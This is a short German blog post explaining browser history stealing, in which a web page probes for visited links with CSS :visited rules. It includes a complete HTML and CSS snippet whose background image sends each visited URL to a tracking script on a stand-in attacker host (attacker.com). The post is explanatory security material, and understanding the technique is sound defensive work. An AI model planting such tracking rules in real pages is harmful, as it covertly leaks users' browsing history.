Für einen vor kurzem gehaltenen Vortrag hatte ich die Gelegenheit mich mit Browser History stealing, oder auf deutsch Browserverlauf auslesen zu beschäftigen.

Beim Browser History Stealing ist es das erklärte Ziel eines Angreifers, heraus zu finden, welche Seiten ein Opfer angesurft hat. Aus diesen Informationen lassen sich anschließend bestimmte Schlussfolgerungen treffe. Dazu aber in einem anderen Artikel später mehr.

Browser Histoyry Stealing durch zu führen ist eigentlich eine recht einfache Sache. Alles was der Angreifer braucht ist eine Webseite und einige StyleSheets.  Leider ist es nicht direkt möglich eine Anfrage an den Browser zustellen, nach dem Motto: Gib mir alle Webseiten die du besucht hasst. Stattdessen plaziert man jede einzelne URL die man abfragen möchte auf einer Webseite (z.b. in einem sehr kleinen IFrame) :

<A HREF=”www.its-blog.de/?p=27″ id=”link1″>this page</A>

Zur URL fügt man anschliessend einen ID tag hinzu. Über diesen Tag wird dann die Regel aus dem Stylesheet angesteuert:

Schauen wir uns dieses einmal an:

#link1 {

   color: blue;
}

#link1:visited {
   color: red;
   background:
   url(http://www.attacker.com/track.php?url=www.its-blog.de/?p=27);
}

Ist die Seite nun bereits einmal besucht gewesen, so möchte der Browser die entsprechende Regel ausführen und das Hintergrundbild dynamisch nachladen. In dieses ist jedoch die URL die man abfragen wollte mit eincodiert. Es wird somit pro besuchter Seite ein Rückkanal zum Angreifer aufgebaut und ihm mitgeteilt welche Seite das Opfer besucht hatte.

Wie oben beschrieben funktioniert dies jedoch nur für Seiten von denen der Angreifer vermutet das das Opfer dort gewesen ist.

Fortsetzung folgt …